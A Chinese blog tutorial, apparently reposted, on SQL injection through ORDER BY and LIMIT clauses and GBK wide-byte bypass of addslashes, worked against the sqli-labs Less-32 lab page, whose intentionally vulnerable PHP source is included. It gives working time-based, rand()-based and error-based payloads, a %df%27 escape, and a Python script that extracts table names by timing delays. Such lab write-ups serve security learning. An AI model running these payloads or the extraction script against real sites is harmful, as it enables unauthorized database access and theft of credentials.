当前位置:网站首页>SQL注入的order by ,limit与宽字节注入

SQL注入的order by ,limit与宽字节注入

2022-08-10 01:20:00 Miracle_ze

order by

1、了解order by

order by是mysql中对查询数据进行排序的方法, 使用示例

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

select * from user order by id;
selecr * from user order by 1;

2、判断注入类型

数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1 显示的结果一样,所以无法用来判断注入点类型

而用rand()会显示不同的排序结果

当在字符型中用?sort=rand(),则不会有效果,排序不会改变

因此用rand()可判断注入点类型

3、order by盲注

1、与union联用

前面经常利用order by子句进行快速猜解表中的列数
【根据是否报错来判断列数】

在这里插入图片描述

测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。再配合使用union select语句进行回显。
union select语句进行回显

2、基于if语句盲注(数字型)

只有order=$id,数字型注入时才能生效,order ='$id'导致if语句变成字符串,功能失效。

if语句返回的是字符类型,不是整型, 因此如果使用数字代替列名是不行的,如下图
在这里插入图片描述
为此使用if判断的时候要返回要使用列名。
在这里插入图片描述

order by if(表达式,1,username)
表达式成立输出1
表达式失败输出username

3、基于时间的盲注

select * from users order by if(1=2,1,sleep(1));

小点:sleep(1)如果成功则返回 0,如果错误则返回 FALSE。

在这里插入图片描述

延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。
计算公式:延迟时间=sleep(1)的秒数*所查询数据条数
如果查询的数据很多时,延迟的时间就会特别长
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

盲注应用:
通过paload放到函数中进行二分法爆值。

 for i in range(1, 100000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1') aandnd (if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),%d,1))>%d,sleep(1),0))aandnd('1')=('1" % (
            i, mid)
            params = {'id': payload}
            start_time = time.time()  # 注入前的系统时间
            r = requests.get(url, params=params)
            end_time = time.time()  # 注入后的时间
            if end_time - start_time > 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
	name = name + chr(mid)
	print(name)

第一个%d表示:i,i范围1-100000。表示substr截取从左边第几个字符开始截取。
第二个%d表示:mid值

过程:
1、paload放入函数对数据截取转换为ASCII码,对得到的ASCII字符进行mid比较即为二分法来查找具体字符值。
2、如果ASCII码对于而二分法值大于mid则会进行sleep(1)。判断为真是因为字符的大小大于mid值,进行沉睡。
3、沉睡导致注入后时间比注入前系统时间差值大于1。如此表示字符比mid大,那么low = mid + 1并且mid值也发送改变。
4、此时low<high依旧成立继续比较。mid值改变了,依旧截取的第一个字符。
5、此时如果字符变得比现在mid小,如此不会沉睡输出为0,在网络的传输中虽然有延迟但是差值一般是不会超过1秒的。为此判断为假。此时mid将变为high。如此范围相比之前是之前mid为新low,之前改变后的mid变成high。
6、如此当字符此时正好为low或mid或high时,依旧重复上述操作,直到low=high就将结束while循环并且输出的mid【此时mid、low、high的值一样】。
7、如此跳出了第一个while循环,rang范围给i的值变2.开始第二个while循环输出下一个字符
8、全部while完后,得到的全是ASCII。为此利用chr(mid)把ASCII码转换为字符。print输出。

4.基于rand()的盲注(数字型)

rand() 函数可以产生随机数介于0和1之间的一个数
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,种子固定,则生成的数固定

rand()为随机参数
在这里插入图片描述
rand(1)与rand(0) 固定了参数
在这里插入图片描述

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

order by rand(表达式)

当表达式为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。

5、报错注入

如此对于上面的情况我们思考一个问题如果我们什么都不知道并且要知道列名怎么办。
为此我们可以利用报错注入来获取列名。

order by updatexml(1,if(1=2,1,(表达式)),1) order by
extractvalue(1,if(1=2,1,(表达式)));

因为1=2,所以执行表达式内容
例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)获取数据库名
若改成1=1,则页面正常显示

获取数据库名
在这里插入图片描述
获取表名【limit n,m】
在这里插入图片描述

获取的limit的n表示第n个参数开始,取后m个值【第一个参数的索引值为0】

在这里插入图片描述
在这里插入图片描述
limit的m值在这只能为1 ,因为输出不能超一行
在这里插入图片描述

limit【此方法适用于<=MySQL 5.5中,在limit语句后面的注入 】

1、limit的使用语法

LIMIT[位置偏移量,]行数;这里的中括号里的数据是可以修改的参数,也就是指的是从哪一行开始显示,并且他的开始值是0,也就是第一条记录对应的索引数是0,第二条记录对应的索引数是1…;后面的行数就是返回记录的条数,一般情况下都是写的1。

limit在order by下使用

在这里插入图片描述

2、PROCEDURE函数【存储过程】

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。

SELECT * FROM users WHERE id=1 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

在这里插入图片描述

如果不支持报错注入的话,还可以基于时间注入:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行,需要用BENCHMARK代替。

宽字节注入

1、宽字符简介

定义:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的’,就会被转义为’,无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'等不被转义。

适用情形:(1)数据库的编码格式为GBK;(2)在PHP中,通过iconv()进行编码转换。

原理:加入字节与\构成GBK编码,实现单引号和双引号逃逸。

补充:
尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型。
也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本。

我们就以gbk字符编码为示范,拉开帷幕。gbk是一种多字符编码,具体定义自行百度。
但有一个地方尤其要 注意:

通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。
在php中,我们可以通过输出 echo strlen("和"); 来测试。当将页面编码保存为gbk时输出2,utf-8时输出3。

2、环境

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-32 **Bypass addslashes()**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="5" color="#00FF00">


<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); function check_addslashes($string) { $string= addslashes($string); return $string; } // take the variables if(isset($_GET['id'])) { $id=check_addslashes($_GET['id']); //echo "The filtered request is :" .$id . "<br>"; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font color= "#00FF00">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?>
</font> </div></br></br></br><center>
<img src="../images/Less-33.jpg" />
</br>
</br>
</br>
</br>
</br>
<font size='4' color= "#33FFFF">
<?php function strToHex($string) { $hex=''; for ($i=0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex; } echo "Hint: The Query String you input is escaped as : ".$id ."<br>"; echo "The Query String you input in Hex becomes : ".strToHex($id); ?>
</center>
</font> 
</body>
</html>

3、原理

众所周知addslashes函数产生的效果就是,让'变成\',让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\'前面的\

1.想办法给\前面再加一个\(或单数个即可),变成\\',这样\被转义了,'逃出了限制
2.想办法把\弄没有。

我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。

4、尝试注入

如果我们输入%df'看会怎样:
在这里插入图片描述

发现报错了,为此可以利用报错注入.
若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。

因为是两个字节代表一个汉字,我们尝试%df%df%27
在这里插入图片描述
不报错了,因为%df%df组成了汉字"哌"

那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以:
在这里插入图片描述

%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。
在这里插入图片描述
在这里插入图片描述

原网站

版权声明
本文为[Miracle_ze]所创,转载请带上原文链接,感谢
https://blog.csdn.net/Miracle_ze/article/details/126251361